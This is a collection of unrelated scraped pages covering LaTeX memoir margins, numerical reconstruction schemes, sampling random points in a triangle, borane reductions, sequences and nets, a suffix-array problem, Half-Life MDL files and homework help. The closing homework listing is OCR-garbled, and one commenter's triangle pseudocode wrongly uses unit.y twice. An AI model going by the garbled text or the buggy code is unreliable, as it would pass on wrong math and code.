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# Problem setting margins in memoir
I'm trying to setup the layout of my thesis and margins seems to be a little off what I'm expecting, I'm using `memoir` and I'm trying to setup all the variables of page layout so nothing wont go wrong...
The specs are simple: 2.54cm margin all around the page except for the printing side which should be 3.54cm. the page is A4 29.7x21cm.... here is my code:
``````\pagestyle{plain}
\setlength{\trimtop}{0cm}
\setlength{\trimedge}{0cm}
\setlength{\oddsidemargin}{1cm}
\setlength{\evensidemargin}{0.0cm}
\setlength{\parindent}{18pt}
\setlength{\parskip}{6pt}
\setlength{\uppermargin}{2.54cm}
\setlength{\footskip}{0.80cm}
\setlength{\spinemargin}{2.54cm}
\setlength{\marginparwidth}{0cm}
\setlength{\marginsep}{0cm}
\setlength{\paperheight}{29.7cm}
\setlength{\paperwidth}{21.0cm}
\setlength{\stockheight}{\paperheight}
\setlength{\stockwidth}{\paperwidth}
\setlength{\textheight}{24.6cm}
\setlength{\textwidth}{14.9cm}
``````
the problem with the above code is that the top margin is always stuck at 3.54cm leaving only 1.54cm to the bottom margin no matter how I change it, even if I change the `\trimtop` to -1cm!
When I add the following line to the code, it fixes the top/bottom margins but the left/right margin in odd pages only is messed-up and stuck at 4.54cm / 1.54cm to left/righ margins respectively...
``````\checkandfixthelayout
``````
-
Read the discussion on page layouts in the memoir documentation carefully. Page layout is not random. – vonbrand Feb 10 '13 at 0:32
Related Correct way to set margins – Ipsen Apr 4 '13 at 12:56
Solved ....
I moved the 2 lines for setting the odd and even side margins:
``````\setlength{\oddsidemargin}{1cm}
\setlength{\evensidemargin}{0.0cm}
``````
to after the check and fix layout line:
``````\checkandfixthelayout
``````
source: section 2.7 Side Margins in memoir reference
-
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Van Leer’s methods for high-resolution differencing methods are based fundamentally on polynomial interpolation for accuracy and then monotonicity preservation (i.e., nonlinear stability). This section will show the basic forms used in Van Leer’s 1977 paper and several extensions we will present as extensions. Each of these will interpolate an analytical function over a set of five cells and we will compare the integrated error over these five cells as a measure of the accuracy of each. The function we use has both sharp unresolved and smoother oscillatory characteristics, so should show the basic nature of the interpolations. The function is $2 + \frac{1}{2}\sin(\frac{1}{4}(x-\frac{1}{2}))+\tanh(3(x+\frac{1}{4}))$.
Function for displaying polynomial reconstructions
The first reconstruction we show is the piecewise constant, $p(\theta) = P_0 = u_j$, which is the foundation of Godunov’s method, a first-order, but monotone method. The integrated difference between the analytical function and this piecewise polynomial is 0.882015, which will serve as a nice measure of success with higher order reconstructions.
Piecewise Constant – Basis of Godunov’s Method
The next reconstruction is the piecewise linear scheme based on a centered slope computed from cell-centered values. The polynomial is $P(\theta) = P_0 + P_1 \theta= u_j + s_j \theta$ . The improvement over the piecewise constant is obvious and the integrated error is now, 0.448331 about half the size of the piecewise constant.
Piecewise Linear – Van Leer’s Scheme 1 and Scheme 2
The piecewise linear based on moments is even better, cutting the error in half again to 0.210476.
Piecewise Linear based on first moments – Van Leer’s Scheme 3
The next set of plots will be based on parabolas, $P(\theta) = P_0 + P_1\theta +P_2(\theta^2 -\frac{1}{12})$. We stay with Van Leer’s use of Legendre polynomials because they are mean preserving without difficulty. The first is the parabola determined by the three centered cell center values, which gives a relatively large error of 0.427028 almost as large as the piecewise linear interpolation.
Piecewise Parabolic – Van Leer’s Scheme 4
Our second parabola is much better, it is based on a single cell-centered value and the edge values. It gives an error of 0.08038, which is much better than the last parabola (by a factor of five!).
Piecewise Parabolic average plus edges – Van Leer’s Scheme 5
Using the second moment provides even better results and lowers the error to half that of the center-edge reconstruction, 0.04i887. As we will see this result cannot be improved upon too greatly.
Piecewise Parabolic – based on two moments, Van Leer’s Scheme 6
Now we increase the order of reconstruction to piecewise cubic, $P(\theta) = P_0 + P_1 \theta + P_2 (\theta^2 - \frac{1}{12}) + P_3 \theta^3$. We will look at two reconstructions, the first based on three cell-centers, and an integral of the derivative in the center cell. This is a Hermite scheme, and based on previous experience with Schemes 1 and 4 we should expect its performance to be relatively poor with an error of 0.14884, one-third of that found with the piecewise parabolic scheme 4. The second cubic reconstruction will use the cell-center, edges and the first moment, provides excellent results, 0.044014 approximately on par with the two moment piecewise parabola the basis of scheme 6. The method to update the degrees of freedom is arguably simpler (and the overall degrees of freedom is equivalent).
Piecewise Cubic – Using slopes our first new scheme
Piecewise Cubic – using moments our second scheme
I will now finish the post with the last set of reconstructions based on piecewise quartics, $P(\theta) = P_0 + P_1 \theta + P_2 (\theta^2 - \frac{1}{12}) + P_3 \theta^3 + P_4 (\theta^4 -\frac{1}{80})$. Four different methods will be used to determine the coefficients. The first is a fairly important approach because the evaluation provides the stencil used for the upstream-centered fifth order WENO flux. This polynomial is determined by the cell-centered values in the cell and the two cells to the left or right. The figure shows that the polynomial is relatively poor in terms of accuracy, and confirmed by the integrated error, 0.404114 barely better than the parabola used for scheme 4. The quartic reconstruction must provide greater value.
Piecewise Quartic – Cell Centers only basis of the classical fifth-order WENO edge scheme
The second is based on three cell centers and two edge values, and is an obvious extension of Scheme 5. This method delivers significantly better results with an integrated error of 0.090751. This is actually disappointing when compared with the parabola for schemes 5 and 6. Clearly the roughness of the function is a problem. This strongly points at the value of compact schemes, and nonlinear stability mechanism.
Piecewise Quartic – three cell centers and edge values
We close with a scheme based on cell center, with edge derivatives and slopes. This method is quite compact and we expect good results. It provides the best results thus far with an integrated error of 0.0145172 about a third of the scheme 6 reconstruction with the same number of degrees of freedom. I will note that Phil Roe suggested this approach to me noting that it was outstanding. He is right.
Piecewise Quartic –one cell-center, edges and edge derivatives
We look at one last scheme with a quartic reconstruction using the first and second moments, the cell-center value, and the edges. The extra degree of freedom produces outstanding results with an integrated error of 0.00726529 half the size of the error with the previous scheme.
A piecewise quartic reconstruction based on the cell-center, first and second cell-centered moments and edge values. This is the best reconstruction shown here.
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## Random Points in a Triangle (Generating Random Sequences II)
In the first post of this series, I discussed a method to generate a random (guaranteed) permutation. On another occasion, I presented a method to recycle expensive random bits. Today, I will discuss something I had to do recently: generate random points inside a triangle.
Let us start by a rectangle. If I want to generate cloud of random dots in a rectangle, you would be easily convinced that generating pairs of (pseudo) random numbers, one for each coordinate, is quite sufficient. Let $\mathcal{U}(a,b)$ be a (pseudo) random function that returns a (pseudo) random number such that $a\leqslant\mathcal{U}(a,b)\leqslant{}b$. So for a rectangle of height $h$ and width $w$, a cloud of points generated by $(\mathcal{U}(0,w),\mathcal{U}(0,h))$ would look quite (uniform) random.
But what if we have, say, a triangle? It’s not quite easy, but it shouldn’t be too hard. At first, we could think that it suffices to compute the triangle’s bounding box and use the rejection method: we draw random points inside the rectangle and if a random point falls outside the triangle (while being inside the rectangle) it is rejected and we try again. This method is good if the triangle to rectangle surface ratio is good, but disastrous if the triangle is very small compared to its bounding rectangle. Say, something like:
So this first solution is not very good. A much better solution asks for some linear algebra, but not much, be assured. Let us say we have a triangle like the following:
The two arrows, or vectors, can be determined easily: take any corner as the common base, and draw them to opposite corners (in fact any two vectors in any order will do, but for clarity here, let us consider that they form a corner as in the above picture). These two vectors form, if they are different, a vector space basis. The space here is in fact only a plane, the plane in which the triangle lies. Let $u$ and $v$ be those two vectors.
Now, let’s generate random points in the triangle. The two vectors $u$ and $v$ generate the parallelogram:
but only the darker gray region is our triangle; the pale region is to be ‘rejected’. Now: let $u=(u_1,u_2)$ and $v=(v_1,v_2)$ be the vectors and their components. Let also $(x,y)=(\mathcal{U}(0,1),\mathcal{U}(0,1)$ be a random point in a unit square. This point can be mapped in the parallelogram using the following transform:
$\left[\begin{matrix}u_1 &v_1\\u_2&v2\end{matrix}\right]\left[\begin{matrix}x\\y\end{matrix}\right]=\left[\begin{matrix}p_1\\p_2\end{matrix}\right]$
The parallelogram is therefore a sheared and scaled version of the unit square and $(p1,p2)$ are the x,y coordinates of the random point within the parallelogram. But we want only inside the original triangle!
We can now use rejection in the original unit square to make sure we only yield points in the triangle: we can reject all pairs with $x+y>1$, since they will be mapped in the second (pale gray) triangle. We then draw random pairs until we get $x+y\leqslant{}1$, and then use the above transform to map it into the triangle.
It doesn’t take long to get a Mathematica implementation running. (I suppose you could do the same with C and Gnuplot, only it’s not as immediate.) My implementation for two random vector $u$ and $v$ yields the following cloud of points:
And we see that the points are uniformely distributed, showing (approximately) equal density everywhere in the triangle.
### 15 Responses to Random Points in a Triangle (Generating Random Sequences II)
1. Question says:
Couldn’t you use the fact that the two triangles of the parallelogram are mirror images to map points that fall in the x+y>1 triangle back onto the original triangle?
• Dude says:
Not only that, but uniformity should be preserved across affine transforms in the plane (i.e. if you can create a uniform distribution on a unit square you can transform it to any parallelogram and maintain the uniformity), so you should just generate x, y = rand(), rand() in [0..1], project onto the parallelogram and then mirror if the point is on the other side of the diagonal (no “inside” checking needed).
2. dff says:
What is implicit but important is that the density of the points remains uniform after the transformation by virtue of the fact that it is linear.
3. ugasoft says:
I’ve used random sampling over baricentric coordinates.
• Steven Pigeon says:
Explain?
• Charlie says:
And a c# implementation:
private static Point3D GetPointInTriangle(Random rand, Point3D a, Point3D b, Point3D c)
{
Vector3D ab = b - a;
Vector3D ac = c - a;
double r = rand.NextDouble(); // % along ab
double s = rand.NextDouble(); // % along ac
if (r + s >= 1d)
{
r = 1d - r;
s = 1d - s;
}
// Now add the two weighted vectors to a
return a + ((ab * r) + (ac * s));
}
• Steven Pigeon says:
Thanks!
4. munificent says:
You can do that without having to ditch half your points by remapping ones outside the triangle back into it by mirroring them along the diagonal:
vec pointInTriangle(vec a, vec b, vec c)
// make basis vectors from a->b and a->c
vec u = b - a
vec v = c - a
// pick a random point in the unit square
vec unit = vec(rand(0, 1), rand(0, 1))
// if the point is outside the triangle, remap it inside
// by mirroring it along the diagonal
if unit.x + unit.y > 1 then
unit = vec(1 - unit.y, 1 - unit.x)
end
// now transform it to fit the basis
return vec(unit.x * u.x + unit.y * v.x, unit.y * u.y + unit.y * v.y)
end
5. […] This post was mentioned on Twitter by Proggit Articles, Nazar Vinnichuk. Nazar Vinnichuk said: Random Points in a Triangle (Generating Random Sequences II) « Harder, Better, Faster, Stronger http://bit.ly/dzDka0 […]
6. Steven Pigeon says:
Many of you seemed to have had the same idea, and that’s a good optimization, especially as the cost of generating a random pair grows.
7. andrei says:
why discard half of the pairs, when instead of rand(1)+rand(1) you could have rand(0.5)+rand(0.5) and that way you’re sure you always fall below zero?
• Steven Pigeon says:
Except that goes only half-way against either axes (at most $\frac{1}{2}u$ and at most $\frac{1}{2}v$)
8. […] method and I explained (although indirectly) how a linear congruential generator works. In a second post, I explained how to generate 2D points uniformly and randomly distributed a triangle, discussing […]
9. […] of this series, I’ve discussed permutations, generating uniform random points in a triangle, on a sphere, the inversion method, even recycling expensive random bits. In this entry, I will use […]
10. Darrell says:
One small optimization to reflecting around x+y=1 to avoid a bit of arithmetic – map the triangle (0,0),(1,0),(1,1) into your target triangle instead and just swap x and y whenever y>x. A bit simpler and no arithmetic at all.
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# Comparison of Various Hydrogenation Methods
## Reduction with Borane
Functional groups are listed in ascending order of reducibility.
Tab.1
Overview of the reduction of organic functional groups with borane
EductProductReduction
Fig.
Acyl chloride
inert
Fig.
Ester
Fig.
Alcohol
very difficult
Fig.
Nitrile
Fig.
Amine
Fig.
Ketone
Fig.
sec-Alcohol
Fig.
Alkene
Fig.
Alkyl borane
Fig.
Carboxylic acid
Fig.
Alcohol
facile
A comparison of these data with those for the reduction with $LiAlH4$ indicates that compounds which are easily reduced with borane are difficult to reduce with lithium aluminum hydride and vice versa.
Page 3 of 4
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# What is the motivation for sequences to be defined on natural numbers?
Possible duplicate: Sequences with Real Indices
I am trying to understand the motivation for various definitions in real analysis. Take for instance the definition of a sequence where it is defined as a function from natural numbers to that of real numbers. But why natural numbers? I cannot substantiate it with a reasonable argument and I am looking for one.
I have been able to substantiate certain definitions based on some of my own reasoning, while that might not have been the real reason why it was defined that way. Take for instance the definition of convergence of a sequence. I think one of the central definitions in analysis is that of convergence of a sequence. Here we say that a sequence is said to converge to a limit $$L$$ if any $$\epsilon$$-neighborhood of $$L$$ has all but finitely many terms of the sequence. I ask the usual set of questions to myself
1. Why do we need this definition?
2. Why was it defined this way?
I thought of some possible answers. There are questions about the operations of addition and subtraction, and the manipulation of those operations resulting in questions about re-arrangements of infinite series. The foundation to answering such questions lies in the answer to "does it even even make sense to represent the sum of infinite numbers by one number?" What is the logical basis to represent that infinite sum by one number? Then we get the answer that the sequence of partial sums converge and so we can represent them as one number. Then we get the questions "what is a sequence and what does it mean to say that the sequence converges?" Then we get the definitions for a sequence and the definition of convergence.
Definition of convergence makes sense to me. Let's assume we are thinking of two numbers $$a$$ and $$b$$. What are some of the rigorous ways to define the quality of two numbers being equal? A popular one is to say that $$a \geq b$$ and $$b \geq a$$. Another is the topologic definition where we say that $$a$$ always lies in any $$\epsilon$$-neighborhood of $$b$$ no matter how small $$\epsilon$$ is. Now, we can modify this definition to obtain the definition of convergence of a sequence where we replace "$$a$$" with "all but finite terms of the sequence". There you go. We got a definition for the convergence of a sequence.
The part I could not substantiate to myself was the need to define sequences as functions on natural numbers to real numbers. Why not define sequences on some other index set? For instance, why not define it on real numbers? More generally, we have countability properties defined but why even bother with natural numbers when what we want in the end is real numbers?
• "why natural numbers? " It is the "obvious definition of sequence : one element after another. Then - as usual in math - we generalize it. – Mauro ALLEGRANZA Jul 27 at 9:10
• a "sequence" defined on the real numbers is a function $\Bbb R\to\Bbb R$. Of course these are widely studied. – Angina Seng Jul 27 at 9:11
• A "sequence" is just a fancy word for a function whose domain is the natural numbers. Mathematicians introduce such fancy words when they meet a concept that appears over and over again and they want to reduce the number of characters needed to describe it. As it happens, functions whose domain is the set of natural numbers appear EXTREMELY often, so this compression scheme turns out to be very efficient. In fact, even the word "function" is just a shortcut for "a relation on $X\times Y$ that satisfies such and such properties...", so the compression happens at many levels. – Michal Adamaszek Jul 27 at 9:25
• If you really want to understand mathematics you have to know something about its long history which explains where we are today. Read books on the history of mathematics. For example, From One to Zero: A Universal History of Numbers by Georges Ifrah. – Somos Jul 27 at 11:52
• @Somos: Regarding Ifrah's books, I've read several not very flattering reviews of his books. For example, see the 2 reviews by Joseph Dauben (review 1 and review 2; recall that Dauben is the author of a well-known biography of Cantor) in Notices of the American Mathematical Society and the review by Eli Maor in American Mathematical Monthly. – Dave L. Renfro Jul 27 at 15:46
When you have a sequence of real numbers, there is a first number in this sequence. Give it the index 1. Then there is a second number, give it the index 2. Continue. You might now ask: what is the real number with index $$n$$ in my sequence? For this, you define the function $$f:\mathbb{N}\rightarrow\mathbb{R}$$ which maps indices to the corresponding real numbers in your sequence.
When you now think a bit about it, your sequence is completely defined by the function $$f$$, and on the other hand $$f$$ is completely defined by the sequence. In other words, there is a bijection of sequences of real numbers and functions $$\mathbb{N}\rightarrow\mathbb{R}$$. This is the reason why we say that $$f$$ itself is the sequence.
• I suppose that the motivation to use $\mathbb{N}$ comes from the fact that we need the indices to have the quality of having a "next element." This way, any dense set will not work as an index set for the purpose of defining a sequence. – TryingHardToBecomeAGoodPrSlvr Jul 27 at 10:20
• Yes, you need a next element, but you also need a first element. Thus, $\mathbb{Z}$ doesn't work. But you could as well use $\mathbb{N}\cup\{0\}$ or $\{x\in\mathbb{Z}:x>-12345\}$. – NeitherNor Jul 27 at 10:26
• Oh, and before I get criticized: one can of course argue which one would be the more general definition. The point is that, in the common definition, a sequence starts somewhere, and thus we should index the elements by something which has a "smallest element". – NeitherNor Jul 27 at 10:57
• @TryingHardToBecomeAGoodPrSlvr Perhaps it would be good enough to use any well-ordered set as index set / domain of the function. So just ake an ordinal. The smaller the better. Then again, a finite ordinal leads only to the less interesting notion of a tuple. So, just pick the smallest infinite ordinal ... and here we are – Hagen von Eitzen Jul 28 at 20:50
• @TryingHard it's not really that strange. Take a net with index set $A=\mathbb{R}$ and topological space $X=\mathbb{R}$. So we now have... yes, the good old functions $f:\mathbb{R}\rightarrow\mathbb{R}$ from school. And the fancy neighborhood convergence rule becomes there good old $\delta-\epsilon$ convergence rule saying e.g. that $\frac{1}{x}\rightarrow 0$ for $x\rightarrow\infty$. And suddenly you realize that convergence of sequences and convergence of functions is really the same thing. And that is the beauty of abstract concepts in math. – NeitherNor Jul 29 at 12:15
Your main question seems to be
Why not define sequences on some other index set?
Okay, the term sequence is reserved for functions $$a : \mathbb N \to X$$ (note that I wrote $$X$$ instead of $$\mathbb R$$ because we may consider sequences in arbitrary sets, or if we are interested in convergence, in arbitrary topological spaces). However, this can easily be generalized to other index sets. This results in the concept of a net. See here. Quote:
Let $$A$$ be a directed set with preorder relation $$\ge$$ and $$X$$ be a topological space. A function $$f: A \to X$$ is said to be a net.
Recall that a preorder relation $$\ge$$ on a nonempty set $$A$$ is a reflexive and transitive binary relation. We do not require it to be antisymmetric (if it is, it is called a partial order). $$(A,\ge)$$ is called directed if for all $$a, b \in A$$ there exists $$c \in A$$ with $$c \ge a$$ and $$c \ge b$$. Simple examples are $$\mathbb N, \mathbb Z, \mathbb Q, \mathbb R$$ with their natural partial order. These sets are even totally ordered which means that for any two elements $$a, b$$ we have $$a \ge b$$ or $$b \ge a$$.
We often write nets in the form $$(x_\alpha) = (x_\alpha)_{\alpha \in A}$$. A net $$(x_\alpha)$$ is said to convergence to $$x \in X$$ if each open neigborhood $$U$$ of $$x$$ in $$X$$ admits $$\alpha_0 \in A$$ such that $$x_\alpha \in U$$ for all $$\alpha \ge \alpha_0$$. This obviously extends the concept of convergence from sequences to more general objects.
Interesting examples of nets which are no sequences occur in calculus when the Riemann integral is introduced. Here we consider partitions $$\mathfrak{P} = (t_0, \ldots,t_n)$$ of an interval $$[a,b]$$ and order them by"set inclusion" (i.e. $$\mathfrak{P}' \ge \mathfrak{P}$$ if $$\{ t'_0, \ldots,t'_{n'} \} \supset \{ t_0, \ldots,t_n \}$$). The uncountable set $$P$$ of all partitions is a directed partially ordered set, but it is not totally ordered. For any bounded function $$f : [a,b] \to \mathbb R$$ we consider the lower and upper Riemann sums which gives us two nets indexed by $$P$$. Both nets converge, but in general do not have the same limit. If they have, then $$f$$ is called Riemann integrable and the common limit is called the Riemann integral of $$f$$.
However, if you study calculus textbooks, you will find that frequently one again works with suitable sequences of partitions, e.g. equidistant partitions with mesh $$(b-a)/n$$. But note that conceptually one has to go beyond sequences.
An equivalent approach to the Riemann integral is by taking the elements of a modified index set $$\mathbf P$$ to be all systems $$(\mathfrak{P},\mathbf x)$$ where $$\mathfrak{P} = (t_0, \ldots,t_n)$$ is a partition of $$[a,b]$$ and $$\mathbf x = (x_1,\ldots,x_n)$$ with $$x_i \in [t_{i-1},t_i]$$. Defining $$(\mathfrak{P}',\mathbf x') \ge (\mathfrak{P},\mathbf x)$$ iff $$\mathfrak{P}' \ge \mathfrak{P}$$ we get a preorder on $$\mathbf P$$ which is directed but not antisymmetric. For any function $$f : [a,b] \to \mathbb R$$ we consider the Riemann sums $$R(f;\mathfrak{P},\mathbf x) = \sum_{i=1}^n f(x_i)(t_i - t_{i-1})$$. This system is a net over $$\mathbf P$$, and it is well-known that this net converges iff $$f$$ is Riemann integrable (and in that case the limit of the net is the Riemann integral of $$f$$). This shows once again that nets which look at first glance "fairly exotic" occur quite naturally in calculus and that we do need a concept of convergence for such nets.
So what is the reason for the prominent role of sequences in calculus? First of all, they are much simpler than general nets. For example, you can use induction. But the deeper reason is that all topological properties of $$\mathbb R$$ can be expressed via sequences. For example, $$M \subset \mathbb R$$ is closed iff for all sequences $$(x_n)$$ in $$M$$ which converge to some $$x \in \mathbb R$$ one has $$x \in M$$. Moreover, $$M \subset \mathbb R$$ is compact iff each sequence $$(x_n)$$ in $$M$$ has a convergent subsequence. Also the continuity of functions can be expressed via sequences: A function $$f : \mathbb R \to \mathbb R$$ is continous at $$x$$ iff for all sequences $$(x_n)$$ such that $$x_n \to x$$ one has $$f(x_n) \to f(x)$$.
Let me finally remark that series $$\sum_{n=1}^\infty a_n$$ should (at least in my opinion) be treated as nets. The usual approach is to consider the sequence $$(s_m)$$ of partial sums $$s_m = \sum_{n=1}^m a_n$$ and study its convergence. I suggest to introduce the set $$\mathbf F$$ of all finite subsets of $$\mathbb N$$ and order it by inclusion ($$F' \ge F$$ if $$F' \supset F$$). This produces a directed partially ordered set $$\mathbf F$$. Define a net over $$\mathbf F$$ by $$(\sum_{n\in F}a_n)_{F \in \mathbf F}$$. This net may converge or not. If it converges, we denote its limit by $$\sum_{n\in \mathbb N} a_n$$. It is now a nice exercise to show that $$\sum_{n\in \mathbb N} a_n$$ exists iff $$\sum_{n=1}^\infty a_n$$ is unconditionally convergent. Perhaps this unusual approach seems to be too exotic, but it has the benefit that it can be generalized to sums over uncountable index sets. Such sums occur in the context of Hilbert spaces. It is well-known that each Hilbert space $$H$$ has a (possibly uncoutable) orthonormal basis $$\{b_\alpha\}_{\alpha \in A}$$ and that each $$x \in H$$ can be written as $$x = \sum_{\alpha \in A}\langle x, b_\alpha \rangle b_\alpha$$.
• The motivation for defining nets is not that Riemann integrals are nets, but that in arbitrary topological spaces, sequences are not adequate to define convergence, compactness, and continuity: some topological spaces are "too big" for their topological features to be studied with sequences alone, but you can use nets instead of sequences and the language carries over well, e.g., an arbitrary topological space is compact iff each net in it has a convergent subnet. A catch here is that the definition of subnet is subtle! In metric spaces, sequences are adequate. – KCd Jul 28 at 1:27
• @KCd You are right concerning arbitrary topological spaces. The concept of a net, however, arose in analysis. It was introduced by E.L.Moore and H.L. Smith in 1922. See here. The concept was generalized to arbitrary topological spaces by G. Birkhoff in 1937. See here. – Paul Frost Jul 28 at 8:17
• Thanks for the correction to what I had said. What is the setting of "General Analysis" that Moore and Smith write about, if it is not convergence in arbitrary topological spaces? – KCd Jul 28 at 9:25
• @KCd Good question - what is General Analysis? You can read this, but it does make it really clear. Quote: "Those theories of Analysis in which at least certain of the functions involved are on a range $\mathfrak P$ of elements $p$ of a nature not specified, or at lleast not fully specified, we may designate as theories of General Analysis". Whatever $\mathfrak P$ may be, the concept of convergence introduced by Moore is only for real-valued nets (or possibly for nets in normed linear spaces). – Paul Frost Jul 28 at 9:45
• I looked at your links and some other references, and it appears that "General Analysis" is Moore's name for what is essentially functional analysis using Moore's idiosyncratic notation. For example, he said the inspiration for General Analysis is similarities among systems of linear equations, integral equations, and Hilbert spaces (or "Hilbert's theory of quadratic forms in infinitely many variables"). – KCd Jul 28 at 14:40
Depends what you want/need. In applications as far as most of us are aware at least, the index will come from a countable set as you say.
For example thinking of annuities (amounts of money payed at regular intervals), we usually think of these as payments at discrete times for obvious reasons (possibly infinite) and so we would be treating them as a sequence of payments indexed by naturals (can apply to it the ‘usual‘ sequence theory).
If the payments are approximated/thought of as ‘continuous’ (indexed by $$\mathbb{R}$$ if you wish), then we use calculus (integration).
When you’re doing real analysis, you need an ordered set of points. That is, $$x_1$$ comes before $$x_2$$ which comes before $$x_3$$ and so on. (Whether or not $$x_1 is not what I’m talking about here.) That means that the indices 1, 2, 3 $$\ldots$$ are ordered. More precisely, we have a map $$x:I\to X$$ where $$I$$ is the index set and $$X$$ might be $${\mathbb R}$$ or $${\mathbb R}^2$$ or something. What we need is for $$I$$ to be ordered. We also need $$I$$ to be infinite, otherwise we can’t take limits or talk about convergence. Now $${\mathbb N}$$ is the least infinite totally ordered set. Even if we don’t require a total order, we can’t talk about convergence unless $$I$$ contains $${\mathbb N}$$ as an ordered subset, so $${\mathbb N}$$ is universally minimal for our purposes. In other words, we’re not using $${\mathbb N}$$ in its role as a monoid (a subset of the additive group $${\mathbb Z}$$), we’re using $${\mathbb N}$$ in its role as the least infinite ordinal, $$\omega$$.
Simply put, because:
$$a_n$$ $$n = 0, 1, 2 ...$$
can be thought of as
$$a(n)$$ $$n = 0, 1, 2 ...$$
which is just a function on the natural numbers.
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MathSciNet bibliographic data MR1040265 53C55 (53C40) Rigoli, Marco; Tribuzy, Renato The Gauss map for Kählerian submanifolds of ${\bf R}\sp n$${\bf R}\sp n$. Trans. Amer. Math. Soc. 332 (1992), no. 2, 515–528. Article
For users without a MathSciNet license , Relay Station allows linking from MR numbers in online mathematical literature directly to electronic journals and original articles. Subscribers receive the added value of full MathSciNet reviews.
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# 「SPOJ-SARRAY」-后缀数组-SA-IS
Given a string of length at most $100,000$ consist of alphabets and numbers. Output the suffix array of the string.
A suffix array is an array of integers giving the starting positions $(0-based)$ of suffixes of a string in lexicographical order. Consider a string $”abracadabra0AbRa4Cad14abra”$. The size of the suffix array is equal to the length of the string. Below is the list of $26$ suffixes of the string along with its starting position sorted in lexicographical order:
SPOJ-SARRAY
### 输入
A single line containing the string.
### 输出
The suffix array of the string.
### 题解
Note: this is a partial score problem.
$O(n^2 \log(n))$ is expected to score about $20-30$. (Naive sorting all suffixes)
$O(n \log n)$ is expected to score about $40$. (OK for most programming contest problems)
$O(n \log n)$ is expected to score about $60-70$. (Use counting sort for small alphabet size)
$O(n)$ without tweaks is expected to score about $80-90$.
$O(n)$ with tweaks is expected to score 100. (This is meant for fun only :)
$0s$ $AC$，23333333…..
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• ### Announcements
#### Archived
This topic is now archived and is closed to further replies.
# Need help understanding half life MDL files
## Recommended Posts
OklyDokly 122
Hi I''m programming a skeletal animation system using half-life models in DirectX, and am also there, but there is one aspect of the MDL files I don''t understand. I''m using Mete Ciragan''s half-life model viewer to help me out, but I think the structures he uses are created by Valve. Anyway inside the file there are lots of animation frames looking like this:
// animation frames
typedef union mstudioanimvalue_t
{
struct {
byte valid;
byte total;
} num;
short value;
} mstudioanimvalue_t;
I''m having trouble understanding what the valid and total members mean... Can anyone help, or point me in the right direction?
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X-0ut 206
If you download the HLSDK it has full source code to an mdl viewer, alas in openGL.
I still think you can benefit from it though.
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OklyDokly 122
Just downloaded the half life SDK and the source in the model viewer seems to be exactly the same.
I still can''t find any information on what the value and the total members are.
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ncsu121978 1344
focus on 3d models
pick that book up for like $20 used on amazon good book imho "A soldier is a part of the 1% of the population that keeps the other 99% free" - Lt. Colonel Todd, 1/38th Infantry, Ft. Benning, GA #### Share this post ##### Link to post ##### Share on other sites quote: Original post by ncsu121978 focus on 3d models pick that book up for like$20 used on amazon
good book
imho
Except that it doesn''t cover MDL files, it just says they''re "too complex" (which they''re not) and to look at the SDK code (which is incomplete and poorly written).
---
Did you figure out how they are used OklyDokly? I''m also writing an MDL interpreter (just started a few days ago), although I''m still just one step behind you. I''d hate to hijack your thread, but perhaps we could help each other out. Do you know what the mstudioseqgroup_t.cache and mstudioseqgroup_t.data fields are used for? They seem to be zero in all the MDLs I''ve looked at so far, but they must still have a purpose..
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### Home > MC1 > Chapter 2 > Lesson 2.3.1 > Problem2-107
2-107.
Show the numbers of + and − pieces represented by each expression below. Sketch each model and state the number that it represents.
1. $(−2)+(−6)$
Sketch a model of the integers.
From the model, determine what the expression represents.
For more help, look at the Math Notes in Lesson 2.3.1.
$-8$
1. $(−2)+4+(−2)$
Use part (a) as a guide for this problem. Remember to look for and eliminate zeros.
Draw a diagram to model this expression. This expression represents 0.
1. $5+(−8)$
Use part (a) as a guide for solving this problem.
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5
Bill deposits $250 at the end of every month for 25 years, iuto au accout wilh am Wlerest rale of 8% compounded monthly , how much will he have after the 25 years?... 5 answers ##### Givn tlu: getral lort of lintnr dillercntial €qqualin " + P(c)u Q(s) show Ihat "(s) Acf r) &Q(r) dr + c] Adrw)& soluion to Givn tlu: getral lort of lintnr dillercntial €qqualin " + P(c)u Q(s) show Ihat "(s) Acf r) &Q(r) dr + c] Adrw)& soluion to... 5 answers ##### Question 310 ptsAhollow sphere of radius "a" has a surface charge of q. For r < a and b > r > a there is no charge: It is surrounded by a concentric sphere of radius "b" with a thickness of d => 0. The outer sphere has a surface charge of -q on it:What is E forr > b ?0 arqr/(2pi*epsilono *a2) ar9/(2pi*epsilono"r2) ar9/(4pi*epsilono"r2) ar9/(4pi r) ar Question 3 10 pts Ahollow sphere of radius "a" has a surface charge of q. For r < a and b > r > a there is no charge: It is surrounded by a concentric sphere of radius "b" with a thickness of d => 0. The outer sphere has a surface charge of -q on it: What is E forr &g... 5 answers ##### Find a general solution to the differential equation.4y' , 4y = 3tan 4t - e 4t 2The general solution is y(t) Find a general solution to the differential equation. 4y' , 4y = 3tan 4t - e 4t 2 The general solution is y(t)... 5 answers ##### COs? 0 10. Which of the following is equivalent to + csc 0 sin 02 sin? 0 (a) sec? 0 (b) csc? 0 tan? 0 3 cot? 0 cOs? 0 10. Which of the following is equivalent to + csc 0 sin 02 sin? 0 (a) sec? 0 (b) csc? 0 tan? 0 3 cot? 0... 5 answers ##### Evaluate each expression given the values$c=6$and$d= rac{2}{3}$. (See Example 1.)$$c-3$$ Evaluate each expression given the values$c=6$and$d=\frac{2}{3}$. (See Example 1.) $$c-3$$... 5 answers ##### Find potential function Forithe fieldF= (Zy+zli + (2x + 2z)i Ix + ZyikA general expression for Ihe infinitely many potential functions is f(x Y z) I(Type an exaci answer ) Find potential function Forithe field F= (Zy+zli + (2x + 2z)i Ix + Zyik A general expression for Ihe infinitely many potential functions is f(x Y z) I(Type an exaci answer )... 5 answers ##### Orange light (A 600 nm) is incident on a diffraction grating that has 6200 lines/cm:Calculate the maximum number of diffraction peaks that appear when the light passes through the grating:(hint; don't forget to count the zeroth order peak)0 51113 Orange light (A 600 nm) is incident on a diffraction grating that has 6200 lines/cm: Calculate the maximum number of diffraction peaks that appear when the light passes through the grating: (hint; don't forget to count the zeroth order peak) 0 5 11 13... 5 answers ##### Find confiderce interval for me AM given the relevant sarple results Give the best point estimate for K tne mavrgin Use the t-distribution t0 = from 3 random sample from population that is approximately normally of error;and the confidence interva Assume the results come distributed:using the sample resultsx 3.6,$ = 0.3,andn I00 9036 confidence interval for_error Jnd the confidence intervaltotwo Round your answer for the point = estimate to ore decimal place: and your answers for the margin deci
